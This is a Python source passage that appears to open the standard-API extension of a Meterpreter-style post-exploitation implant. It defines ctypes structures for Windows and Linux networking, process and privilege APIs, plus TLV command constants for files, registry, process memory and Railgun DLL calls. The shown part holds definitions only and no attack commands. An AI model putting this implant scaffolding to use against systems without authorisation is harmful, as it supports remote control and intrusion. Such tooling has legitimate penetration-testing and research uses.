import fnmatch
import functools
import getpass
import os
import platform
import re
import select
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import time
import binascii

try:
    import ctypes
    import ctypes.util
    has_ctypes = True
    has_windll = hasattr(ctypes, 'windll')
except ImportError:
    has_ctypes = False
    has_windll = False

try:
    import pty
    has_pty = True
except ImportError:
    has_pty = False

try:
    import pwd
    has_pwd = True
except ImportError:
    has_pwd = False

try:
    import termios
    has_termios = True
except ImportError:
    has_termios = False

try:
    import fcntl
    has_fcntl = True
except ImportError:
    has_fcntl = False

try:
    import _winreg as winreg
    has_winreg = True
except ImportError:
    has_winreg = False

try:
    import winreg
    has_winreg = True
except ImportError:
    has_winreg = (has_winreg or False)

if sys.version_info[0] < 3:
    is_str = lambda obj: issubclass(obj.__class__, str)
    is_bytes = lambda obj: issubclass(obj.__class__, str)
    bytes = lambda *args: str(*args[:1])
    NULL_BYTE = '\x00'
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
    if isinstance(__builtins__, dict):
        is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
        str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    else:
        is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
        str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    is_bytes = lambda obj: issubclass(obj.__class__, bytes)
    NULL_BYTE = bytes('\x00', 'UTF-8')
    long = int
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

libc = None

if has_ctypes:
    if sys.platform == 'darwin' or sys.platform.startswith('linux'):
        libc = ctypes.CDLL(ctypes.util.find_library('c'))
    size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
    #
    # Windows Structures
    #
    class EVENTLOGRECORD(ctypes.Structure):
        _fields_ = [("Length", ctypes.c_uint32),
            ("Reserved", ctypes.c_uint32),
            ("RecordNumber", ctypes.c_uint32),
            ("TimeGenerated", ctypes.c_uint32),
            ("TimeWritten", ctypes.c_uint32),
            ("EventID", ctypes.c_uint32),
            ("EventType", ctypes.c_uint16),
            ("NumStrings", ctypes.c_uint16),
            ("EventCategory", ctypes.c_uint16),
            ("ReservedFlags", ctypes.c_uint16),
            ("ClosingRecordNumber", ctypes.c_uint32),
            ("StringOffset", ctypes.c_uint32),
            ("UserSidLength", ctypes.c_uint32),
            ("UserSidOffset", ctypes.c_uint32),
            ("DataLength", ctypes.c_uint32),
            ("DataOffset", ctypes.c_uint32)]

    class SOCKADDR(ctypes.Structure):
        _fields_ = [("sa_family", ctypes.c_ushort),
            ("sa_data", (ctypes.c_uint8 * 14))]

    class SOCKET_ADDRESS(ctypes.Structure):
        _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
            ("iSockaddrLength", ctypes.c_int)]

    class sockaddr_in(ctypes.Structure):
        _fields_ = [("sin_family", ctypes.c_short),
            ("sin_port", ctypes.c_ushort),
            ("sin_addr", ctypes.c_byte * 4),
            ("sin_zero", ctypes.c_char * 8)
        ]
    SOCKADDR_IN = sockaddr_in

    class sockaddr_in6(ctypes.Structure):
        _fields_ = [("sin6_family", ctypes.c_short),
            ("sin6_port", ctypes.c_ushort),
            ("sin6_flowinfo", ctypes.c_ulong),
            ("sin6_addr", ctypes.c_byte * 16),
            ("sin6_scope_id", ctypes.c_ulong)
        ]
    SOCKADDR_IN6 = sockaddr_in6

    class SOCKADDR_INET(ctypes.Union):
        _fields_ = [("Ipv4", SOCKADDR_IN),
            ("Ipv6", SOCKADDR_IN6),
            ("si_family", ctypes.c_short)
        ]

    class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
        _fields_ = [
            ("s", type(
                    '_s_IP_ADAPTER_UNICAST_ADDRESS',
                    (ctypes.Structure,),
                    dict(_fields_=[
                        ("Length", ctypes.c_ulong),
                        ("Flags", ctypes.c_uint32)
                    ])
            )),
            ("Next", ctypes.c_void_p),
            ("Address", SOCKET_ADDRESS),
            ("PrefixOrigin", ctypes.c_uint32),
            ("SuffixOrigin", ctypes.c_uint32),
            ("DadState", ctypes.c_uint32),
            ("ValidLifetime", ctypes.c_ulong),
            ("PreferredLifetime", ctypes.c_ulong),
            ("LeaseLifetime", ctypes.c_ulong),
            ("OnLinkPrefixLength", ctypes.c_uint8)]

    class IP_ADAPTER_ADDRESSES(ctypes.Structure):
        _fields_ = [
            ("u", type(
                '_u_IP_ADAPTER_ADDRESSES',
                (ctypes.Union,),
                dict(_fields_ = [
                    ("Alignment", ctypes.c_ulonglong),
                    ("s", type(
                        '_s_IP_ADAPTER_ADDRESSES',
                        (ctypes.Structure,),
                        dict(_fields_ = [
                            ("Length", ctypes.c_ulong),
                            ("IfIndex", ctypes.c_uint32)
                        ])
                    ))
                ])
            )),
            ("Next", ctypes.c_void_p),
            ("AdapterName", ctypes.c_char_p),
            ("FirstUnicastAddress", ctypes.c_void_p),
            ("FirstAnycastAddress", ctypes.c_void_p),
            ("FirstMulticastAddress", ctypes.c_void_p),
            ("FirstDnsServerAddress", ctypes.c_void_p),
            ("DnsSuffix", ctypes.c_wchar_p),
            ("Description", ctypes.c_wchar_p),
            ("FriendlyName", ctypes.c_wchar_p),
            ("PhysicalAddress", (ctypes.c_uint8 * 8)),
            ("PhysicalAddressLength", ctypes.c_uint32),
            ("Flags", ctypes.c_uint32),
            ("Mtu", ctypes.c_uint32),
            ("IfType", ctypes.c_uint32),
            ("OperStatus", ctypes.c_uint32),
            ("Ipv6IfIndex", ctypes.c_uint32),
            ("ZoneIndices", (ctypes.c_uint32 * 16)),
            ("FirstPrefix", ctypes.c_void_p),
            ("TransmitLinkSpeed", ctypes.c_uint64),
            ("ReceiveLinkSpeed", ctypes.c_uint64),
            ("FirstWinsServerAddress", ctypes.c_void_p),
            ("FirstGatewayAddress", ctypes.c_void_p),
            ("Ipv4Metric", ctypes.c_ulong),
            ("Ipv6Metric", ctypes.c_ulong),
            ("Luid", ctypes.c_uint64),
            ("Dhcpv4Server", SOCKET_ADDRESS),
            ("CompartmentId", ctypes.c_uint32),
            ("NetworkGuid", (ctypes.c_uint8 * 16)),
            ("ConnectionType", ctypes.c_uint32),
            ("TunnelType", ctypes.c_uint32),
            ("Dhcpv6Server", SOCKET_ADDRESS),
            ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
            ("Dhcpv6ClientDuidLength", ctypes.c_ulong),
            ("Dhcpv6Iaid", ctypes.c_ulong),
            ("FirstDnsSuffix", ctypes.c_void_p)]

    class LASTINPUTINFO(ctypes.Structure):
        _fields_ = [("cbSize", ctypes.c_uint32),
            ("dwTime", ctypes.c_uint32)]

    class MIB_IPINTERFACE_ROW(ctypes.Structure):
        _fields_ = [("Family", ctypes.c_uint16),
            ("InterfaceLuid", ctypes.c_uint64),
            ("InterfaceIndex", ctypes.c_uint32),
            ("MaxReassemblySize", ctypes.c_uint32),
            ("InterfaceIdentifier", ctypes.c_uint64),
            ("MinRouterAdvertisementInterval", ctypes.c_uint32),
            ("MaxRouterAdvertisementInterval", ctypes.c_uint32),
            ("AdvertisingEnabled", ctypes.c_uint8),
            ("ForwardingEnabled", ctypes.c_uint8),
            ("WeakHostSend", ctypes.c_uint8),
            ("WeakHostReceive", ctypes.c_uint8),
            ("UseAutomaticMetric", ctypes.c_uint8),
            ("UseNeighborUnreachabilityDetection", ctypes.c_uint8),
            ("ManagedAddressConfigurationSupported", ctypes.c_uint8),
            ("OtherStatefulConfigurationSupported", ctypes.c_uint8),
            ("AdvertiseDefaultRoute", ctypes.c_uint8),
            ("RouterDiscoveryBehavior", ctypes.c_uint32),
            ("DadTransmits", ctypes.c_uint32),
            ("BaseReachableTime", ctypes.c_uint32),
            ("RetransmitTime", ctypes.c_uint32),
            ("PathMtuDiscoveryTimeout", ctypes.c_uint32),
            ("LinkLocalAddressBehavior", ctypes.c_uint32),
            ("LinkLocalAddressTimeout", ctypes.c_uint32),
            ("ZoneIndices", ctypes.c_uint32 * 16),
            ("SitePrefixLength", ctypes.c_uint32),
            ("Metric", ctypes.c_uint32),
            ("NlMtu", ctypes.c_uint32),
            ("Connected", ctypes.c_uint8),
            ("SupportsWakeUpPatterns", ctypes.c_uint8),
            ("SupportsNeighborDiscovery", ctypes.c_uint8),
            ("SupportsRouterDiscovery", ctypes.c_uint8),
            ("ReachableTime", ctypes.c_uint32),
            ("TransmitOffload", ctypes.c_uint8),
            ("ReceiveOffload", ctypes.c_uint8),
            ("DisableDefaultRoutes", ctypes.c_uint8),
        ]

    class IP_ADDRESS_PREFIX(ctypes.Structure):
        _fields_ = [("Prefix", SOCKADDR_INET),
            ("PrefixLength", ctypes.c_uint8)
        ]

    class MIB_IPFORWARDROW(ctypes.Structure):
        _fields_ = [("dwForwardDest", ctypes.c_uint32),
            ("dwForwardMask", ctypes.c_uint32),
            ("dwForwardPolicy", ctypes.c_uint32),
            ("dwForwardNextHop", ctypes.c_uint32),
            ("dwForwardIfIndex", ctypes.c_uint32),
            ("dwForwardType", ctypes.c_uint32),
            ("dwForwardProto", ctypes.c_uint32),
            ("dwForwardAge", ctypes.c_uint32),
            ("dwForwardNextHopAS", ctypes.c_uint32),
            ("dwForwardMetric1", ctypes.c_uint32),
            ("dwForwardMetric2", ctypes.c_uint32),
            ("dwForwardMetric3", ctypes.c_uint32),
            ("dwForwardMetric4", ctypes.c_uint32),
            ("dwForwardMetric5", ctypes.c_uint32),
        ]
    PMIB_IPFORWARDROW = ctypes.POINTER(MIB_IPFORWARDROW)

    class MIB_IPFORWARD_ROW2(ctypes.Structure):
        _fields_ = [("InterfaceLuid", ctypes.c_uint64),
            ("InterfaceIndex", ctypes.c_uint32),
            ("DestinationPrefix", IP_ADDRESS_PREFIX),
            ("NextHop", SOCKADDR_INET),
            ("SitePrefixLength", ctypes.c_uint8),
            ("ValidLifetime", ctypes.c_uint32),
            ("PreferredLifetime", ctypes.c_uint32),
            ("Metric", ctypes.c_uint32),
            ("Protocol", ctypes.c_uint32),
            ("Loopback", ctypes.c_byte),
            ("AutoconfigureAddress", ctypes.c_byte),
            ("Publish", ctypes.c_byte),
            ("Immortal", ctypes.c_byte),
            ("Age", ctypes.c_uint32),
            ("Origin", ctypes.c_uint32),
        ]
    PMIB_IPFORWARD_ROW2 = ctypes.POINTER(MIB_IPFORWARD_ROW2)


    class MIB_IPFORWARDTABLE(ctypes.Structure):
        _fields_ = [("dwNumEntries", ctypes.c_uint32),
            ("table", MIB_IPFORWARDROW * 0)
        ]
    PMIB_IPFORWARDTABLE = ctypes.POINTER(MIB_IPFORWARDTABLE)

    class MIB_IPFORWARD_TABLE2(ctypes.Structure):
        _fields_ = [("NumEntries", ctypes.c_uint32),
            ("Table", MIB_IPFORWARD_ROW2 * 0)
        ]
    PMIB_IPFORWARD_TABLE2 = ctypes.POINTER(MIB_IPFORWARD_TABLE2)

    class OSVERSIONINFOEXW(ctypes.Structure):
        _fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
            ("dwMajorVersion", ctypes.c_uint32),
            ("dwMinorVersion", ctypes.c_uint32),
            ("dwBuildNumber", ctypes.c_uint32),
            ("dwPlatformId", ctypes.c_uint32),
            ("szCSDVersion", (ctypes.c_wchar * 128)),
            ("wServicePackMajor", ctypes.c_uint16),
            ("wServicePackMinor", ctypes.c_uint16),
            ("wSuiteMask", ctypes.c_uint16),
            ("wProductType", ctypes.c_uint8),
            ("wReserved", ctypes.c_uint8)]

    class PROCESSENTRY32(ctypes.Structure):
        _fields_ = [("dwSize", ctypes.c_uint32),
            ("cntUsage", ctypes.c_uint32),
            ("th32ProcessID", ctypes.c_uint32),
            ("th32DefaultHeapID", ctypes.c_void_p),
            ("th32ModuleID", ctypes.c_uint32),
            ("cntThreads", ctypes.c_uint32),
            ("th32ParentProcessID", ctypes.c_uint32),
            ("thPriClassBase", ctypes.c_int32),
            ("dwFlags", ctypes.c_uint32),
            ("szExeFile", (ctypes.c_char * 260))]

    class SID_AND_ATTRIBUTES(ctypes.Structure):
        _fields_ = [("Sid", ctypes.c_void_p),
            ("Attributes", ctypes.c_uint32)]

    class SYSTEM_INFO(ctypes.Structure):
        _fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
            ("wReserved", ctypes.c_uint16),
            ("dwPageSize", ctypes.c_uint32),
            ("lpMinimumApplicationAddress", ctypes.c_void_p),
            ("lpMaximumApplicationAddress", ctypes.c_void_p),
            ("dwActiveProcessorMask", ctypes.c_uint32),
            ("dwNumberOfProcessors", ctypes.c_uint32),
            ("dwProcessorType", ctypes.c_uint32),
            ("dwAllocationGranularity", ctypes.c_uint32),
            ("wProcessorLevel", ctypes.c_uint16),
            ("wProcessorRevision", ctypes.c_uint16)]

    class TOKEN_USER(ctypes.Structure):
        _fields_ = [("User", SID_AND_ATTRIBUTES)]

    class UNIVERSAL_NAME_INFO(ctypes.Structure):
        _fields_ = [("lpUniversalName", ctypes.c_wchar_p)]

    class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
        _fields_ = [("fAutoDetect", ctypes.c_int8),
            ("lpszAutoConfigUrl", ctypes.c_wchar_p),
            ("lpszProxy", ctypes.c_wchar_p),
            ("lpszProxyBypass", ctypes.c_wchar_p)]

    class LUID(ctypes.Structure):
        _fields_ = [
            ('LowPart',  ctypes.c_uint32),
            ('HighPart', ctypes.c_long)
        ]

        def __eq__(self, __o):
            return (self.LowPart == __o.LowPart and self.HighPart == __o.HighPart)

        def __ne__(self, __o):
            return (self.LowPart != __o.LowPart or self.HighPart != __o.HighPart)

    class LUID_AND_ATTRIBUTES(ctypes.Structure):
        _fields_ = [
            ('Luid',       LUID),
            ('Attributes', ctypes.c_uint32)
        ]

    class TOKEN_PRIVILEGES(ctypes.Structure):
        _fields_ = [
            ('PrivilegeCount', ctypes.c_uint32),
            ('Privileges',     LUID_AND_ATTRIBUTES * 0),
        ]
        def get_array(self):
            array_type = LUID_AND_ATTRIBUTES * self.PrivilegeCount
            return ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents

    PTOKEN_PRIVILEGES = ctypes.POINTER(TOKEN_PRIVILEGES)

    MAXLEN_PHYSADDR = 8

    class MIB_IPNETROW(ctypes.Structure):
        _fields_ = [
            ('dwIndex', ctypes.c_uint32),
            ('dwPhysAddrLen', ctypes.c_uint32),
            ('bPhysAddr', ctypes.c_byte * MAXLEN_PHYSADDR),
            ('dwAddr', ctypes.c_uint32),
            ('dwType', ctypes.c_uint32)
        ]


    #
    # Linux Structures
    #
    class IFADDRMSG(ctypes.Structure):
        _fields_ = [("family", ctypes.c_uint8),
            ("prefixlen", ctypes.c_uint8),
            ("flags", ctypes.c_uint8),
            ("scope", ctypes.c_uint8),
            ("index", ctypes.c_int32)]

    class IFINFOMSG(ctypes.Structure):
        _fields_ = [("family", ctypes.c_uint8),
            ("pad", ctypes.c_int8),
            ("type", ctypes.c_uint16),
            ("index", ctypes.c_int32),
            ("flags", ctypes.c_uint32),
            ("chagen", ctypes.c_uint32)]

    class IOVEC(ctypes.Structure):
        _fields_ = [("iov_base", ctypes.c_void_p),
            ("iov_len", size_t)]

    class NLMSGHDR(ctypes.Structure):
        _fields_ = [("len", ctypes.c_uint32),
            ("type", ctypes.c_uint16),
            ("flags", ctypes.c_uint16),
            ("seq", ctypes.c_uint32),
            ("pid", ctypes.c_uint32)]

    class RTATTR(ctypes.Structure):
        _fields_ = [("len", ctypes.c_uint16),
            ("type", ctypes.c_uint16)]

    class RTMSG(ctypes.Structure):
        _fields_ = [("family", ctypes.c_uint8),
            ("dst_len", ctypes.c_uint8),
            ("src_len", ctypes.c_uint8),
            ("tos", ctypes.c_uint8),
            ("table", ctypes.c_uint8),
            ("protocol", ctypes.c_uint8),
            ("scope", ctypes.c_uint8),
            ("type", ctypes.c_uint8),
            ("flags", ctypes.c_uint32)]

TLV_EXTENSIONS           = 20000
#
# TLV Meta Types
#
TLV_META_TYPE_NONE       = (   0   )
TLV_META_TYPE_STRING     = (1 << 16)
TLV_META_TYPE_UINT       = (1 << 17)
TLV_META_TYPE_RAW        = (1 << 18)
TLV_META_TYPE_BOOL       = (1 << 19)
TLV_META_TYPE_QWORD      = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP      = (1 << 30)
TLV_META_TYPE_COMPLEX    = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV Specific Types
#
TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
TLV_TYPE_METHOD                = TLV_META_TYPE_STRING  | 1
TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4

TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12

TLV_TYPE_LENGTH                = TLV_META_TYPE_UINT    | 25
TLV_TYPE_DATA                  = TLV_META_TYPE_RAW     | 26
TLV_TYPE_FLAGS                 = TLV_META_TYPE_UINT    | 27

TLV_TYPE_CHANNEL_ID            = TLV_META_TYPE_UINT    | 50
TLV_TYPE_CHANNEL_TYPE          = TLV_META_TYPE_STRING  | 51
TLV_TYPE_CHANNEL_DATA          = TLV_META_TYPE_RAW     | 52
TLV_TYPE_CHANNEL_DATA_GROUP    = TLV_META_TYPE_GROUP   | 53
TLV_TYPE_CHANNEL_CLASS         = TLV_META_TYPE_UINT    | 54

##
# General
##
TLV_TYPE_HANDLE                = TLV_META_TYPE_QWORD   | 600
TLV_TYPE_INHERIT               = TLV_META_TYPE_BOOL    | 601
TLV_TYPE_PROCESS_HANDLE        = TLV_META_TYPE_QWORD   | 630
TLV_TYPE_THREAD_HANDLE         = TLV_META_TYPE_QWORD   | 631
TLV_TYPE_PRIVILEGE             = TLV_META_TYPE_STRING  | 632

##
# Fs
##
TLV_TYPE_DIRECTORY_PATH        = TLV_META_TYPE_STRING  | 1200
TLV_TYPE_FILE_NAME             = TLV_META_TYPE_STRING  | 1201
TLV_TYPE_FILE_PATH             = TLV_META_TYPE_STRING  | 1202
TLV_TYPE_FILE_MODE             = TLV_META_TYPE_STRING  | 1203
TLV_TYPE_FILE_SIZE             = TLV_META_TYPE_UINT    | 1204
TLV_TYPE_FILE_HASH             = TLV_META_TYPE_RAW     | 1206

TLV_TYPE_MOUNT_GROUP           = TLV_META_TYPE_GROUP   | 1207
TLV_TYPE_MOUNT_NAME            = TLV_META_TYPE_STRING  | 1208
TLV_TYPE_MOUNT_TYPE            = TLV_META_TYPE_UINT    | 1209
TLV_TYPE_MOUNT_SPACE_USER      = TLV_META_TYPE_QWORD   | 1210
TLV_TYPE_MOUNT_SPACE_TOTAL     = TLV_META_TYPE_QWORD   | 1211
TLV_TYPE_MOUNT_SPACE_FREE      = TLV_META_TYPE_QWORD   | 1212
TLV_TYPE_MOUNT_UNCPATH         = TLV_META_TYPE_STRING  | 1213

TLV_TYPE_STAT_BUF              = TLV_META_TYPE_COMPLEX | 1221

TLV_TYPE_SEARCH_RECURSE        = TLV_META_TYPE_BOOL    | 1230
TLV_TYPE_SEARCH_GLOB           = TLV_META_TYPE_STRING  | 1231
TLV_TYPE_SEARCH_ROOT           = TLV_META_TYPE_STRING  | 1232
TLV_TYPE_SEARCH_RESULTS        = TLV_META_TYPE_GROUP   | 1233

TLV_TYPE_FILE_MODE_T           = TLV_META_TYPE_UINT    | 1234
TLV_TYPE_SEARCH_MTIME          = TLV_META_TYPE_UINT    | 1235
TLV_TYPE_SEARCH_M_START_DATE   = TLV_META_TYPE_UINT    | 1236
TLV_TYPE_SEARCH_M_END_DATE     = TLV_META_TYPE_UINT    | 1237

##
# Net
##
TLV_TYPE_HOST_NAME             = TLV_META_TYPE_STRING  | 1400
TLV_TYPE_PORT                  = TLV_META_TYPE_UINT    | 1401
TLV_TYPE_INTERFACE_MTU         = TLV_META_TYPE_UINT    | 1402
TLV_TYPE_INTERFACE_FLAGS       = TLV_META_TYPE_STRING  | 1403
TLV_TYPE_INTERFACE_INDEX       = TLV_META_TYPE_UINT    | 1404

TLV_TYPE_SUBNET                = TLV_META_TYPE_RAW     | 1420
TLV_TYPE_NETMASK               = TLV_META_TYPE_RAW     | 1421
TLV_TYPE_GATEWAY               = TLV_META_TYPE_RAW     | 1422
TLV_TYPE_NETWORK_ROUTE         = TLV_META_TYPE_GROUP   | 1423
TLV_TYPE_IP_PREFIX             = TLV_META_TYPE_UINT    | 1424
TLV_TYPE_ARP_ENTRY             = TLV_META_TYPE_GROUP   | 1425

TLV_TYPE_IP                    = TLV_META_TYPE_RAW     | 1430
TLV_TYPE_MAC_ADDRESS           = TLV_META_TYPE_RAW     | 1431
TLV_TYPE_MAC_NAME              = TLV_META_TYPE_STRING  | 1432
TLV_TYPE_NETWORK_INTERFACE     = TLV_META_TYPE_GROUP   | 1433
TLV_TYPE_IP6_SCOPE             = TLV_META_TYPE_RAW     | 1434

TLV_TYPE_SUBNET_STRING         = TLV_META_TYPE_STRING  | 1440
TLV_TYPE_NETMASK_STRING        = TLV_META_TYPE_STRING  | 1441
TLV_TYPE_GATEWAY_STRING        = TLV_META_TYPE_STRING  | 1442
TLV_TYPE_ROUTE_METRIC          = TLV_META_TYPE_UINT    | 1443
TLV_TYPE_ADDR_TYPE             = TLV_META_TYPE_UINT    | 1444

##
# Proxy configuration
##
TLV_TYPE_PROXY_CFG_AUTODETECT    = TLV_META_TYPE_BOOL    | 1445
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING  | 1446
TLV_TYPE_PROXY_CFG_PROXY         = TLV_META_TYPE_STRING  | 1447
TLV_TYPE_PROXY_CFG_PROXYBYPASS   = TLV_META_TYPE_STRING  | 1448

##
# Socket
##
TLV_TYPE_PEER_HOST             = TLV_META_TYPE_STRING  | 1500
TLV_TYPE_PEER_PORT             = TLV_META_TYPE_UINT    | 1501
TLV_TYPE_LOCAL_HOST            = TLV_META_TYPE_STRING  | 1502
TLV_TYPE_LOCAL_PORT            = TLV_META_TYPE_UINT    | 1503
TLV_TYPE_CONNECT_RETRIES       = TLV_META_TYPE_UINT    | 1504

TLV_TYPE_SHUTDOWN_HOW          = TLV_META_TYPE_UINT    | 1530

##
# Railgun
##
TLV_TYPE_EXTENSION_RAILGUN             = 0
TLV_TYPE_RAILGUN_SIZE_OUT              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
TLV_TYPE_RAILGUN_STACKBLOB             = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
TLV_TYPE_RAILGUN_BUFFERBLOB_IN         = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT      = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT   = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
TLV_TYPE_RAILGUN_BACK_RET              = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
TLV_TYPE_RAILGUN_BACK_ERR              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
TLV_TYPE_RAILGUN_DLLNAME               = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
TLV_TYPE_RAILGUN_FUNCNAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
TLV_TYPE_RAILGUN_MULTI_GROUP           = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
TLV_TYPE_RAILGUN_MEM_ADDRESS           = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
TLV_TYPE_RAILGUN_MEM_DATA              = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
TLV_TYPE_RAILGUN_MEM_LENGTH            = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
TLV_TYPE_RAILGUN_CALLCONV              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
TLV_TYPE_RAILGUN_BACK_MSG              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)

##
# Registry
##
TLV_TYPE_HKEY                  = TLV_META_TYPE_QWORD   | 1000
TLV_TYPE_ROOT_KEY              = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY              = TLV_META_TYPE_STRING  | 1001
TLV_TYPE_PERMISSION            = TLV_META_TYPE_UINT    | 1002
TLV_TYPE_KEY_NAME              = TLV_META_TYPE_STRING  | 1003
TLV_TYPE_VALUE_NAME            = TLV_META_TYPE_STRING  | 1010
TLV_TYPE_VALUE_TYPE            = TLV_META_TYPE_UINT    | 1011
TLV_TYPE_VALUE_DATA            = TLV_META_TYPE_RAW     | 1012
TLV_TYPE_TARGET_HOST           = TLV_META_TYPE_STRING  | 1013

##
# Config
##
TLV_TYPE_COMPUTER_NAME         = TLV_META_TYPE_STRING  | 1040
TLV_TYPE_OS_NAME               = TLV_META_TYPE_STRING  | 1041
TLV_TYPE_USER_NAME             = TLV_META_TYPE_STRING  | 1042
TLV_TYPE_ARCHITECTURE          = TLV_META_TYPE_STRING  | 1043
TLV_TYPE_LANG_SYSTEM           = TLV_META_TYPE_STRING  | 1044
TLV_TYPE_SID                   = TLV_META_TYPE_STRING  | 1045
TLV_TYPE_LOCAL_DATETIME        = TLV_META_TYPE_STRING  | 1048

##
# Environment
##
TLV_TYPE_ENV_VARIABLE          = TLV_META_TYPE_STRING  | 1100
TLV_TYPE_ENV_VALUE             = TLV_META_TYPE_STRING  | 1101
TLV_TYPE_ENV_GROUP             = TLV_META_TYPE_GROUP   | 1102

DELETE_KEY_FLAG_RECURSIVE = (1 << 0)

##
# Process
##
TLV_TYPE_BASE_ADDRESS          = TLV_META_TYPE_QWORD   | 2000
TLV_TYPE_ALLOCATION_TYPE       = TLV_META_TYPE_UINT    | 2001
TLV_TYPE_PROTECTION            = TLV_META_TYPE_UINT    | 2002
TLV_TYPE_PROCESS_PERMS         = TLV_META_TYPE_UINT    | 2003
TLV_TYPE_PROCESS_MEMORY        = TLV_META_TYPE_RAW     | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS    = TLV_META_TYPE_QWORD   | 2005
TLV_TYPE_MEMORY_STATE          = TLV_META_TYPE_UINT    | 2006
TLV_TYPE_MEMORY_TYPE           = TLV_META_TYPE_UINT    | 2007
TLV_TYPE_ALLOC_PROTECTION      = TLV_META_TYPE_UINT    | 2008
TLV_TYPE_PID                   = TLV_META_TYPE_UINT    | 2300
TLV_TYPE_PROCESS_NAME          = TLV_META_TYPE_STRING  | 2301
TLV_TYPE_PROCESS_PATH          = TLV_META_TYPE_STRING  | 2302
TLV_TYPE_PROCESS_GROUP         = TLV_META_TYPE_GROUP   | 2303
TLV_TYPE_PROCESS_FLAGS         = TLV_META_TYPE_UINT    | 2304
TLV_TYPE_PROCESS_ARGUMENTS     = TLV_META_TYPE_STRING  | 2305
TLV_TYPE_PROCESS_ARCH          = TLV_META_TYPE_UINT    | 2306
TLV_TYPE_PARENT_PID            = TLV_META_TYPE_UINT    | 2307

TLV_TYPE_IMAGE_FILE            = TLV_META_TYPE_STRING  | 2400
TLV_TYPE_IMAGE_FILE_PATH       = TLV_META_TYPE_STRING  | 2401
TLV_TYPE_PROCEDURE_NAME        = TLV_META_TYPE_STRING  | 2402
TLV_TYPE_PROCEDURE_ADDRESS     = TLV_META_TYPE_QWORD   | 2403
TLV_TYPE_IMAGE_BASE            = TLV_META_TYPE_QWORD   | 2404
TLV_TYPE_IMAGE_GROUP           = TLV_META_TYPE_GROUP   | 2405
TLV_TYPE_IMAGE_NAME            = TLV_META_TYPE_STRING  | 2406

TLV_TYPE_THREAD_ID             = TLV_META_TYPE_UINT    | 2500
TLV_TYPE_THREAD_PERMS          = TLV_META_TYPE_UINT    | 2502
TLV_TYPE_EXIT_CODE             = TLV_META_TYPE_UINT    | 2510
TLV_TYPE_ENTRY_POINT           = TLV_META_TYPE_QWORD   | 2511
TLV_TYPE_ENTRY_PARAMETER       = TLV_META_TYPE_QWORD   | 2512
TLV_TYPE_CREATION_FLAGS        = TLV_META_TYPE_UINT    | 2513

TLV_TYPE_REGISTER_NAME         = TLV_META_TYPE_STRING  | 2540
TLV_TYPE_REGISTER_SIZE         = TLV_META_TYPE_UINT    | 2541
TLV_TYPE_REGISTER_VALUE_32     = TLV_META_TYPE_UINT    | 2542
TLV_TYPE_REGISTER              = TLV_META_TYPE_GROUP   | 2550

TLV_TYPE_TERMINAL_ROWS         = TLV_META_TYPE_UINT    | 2600
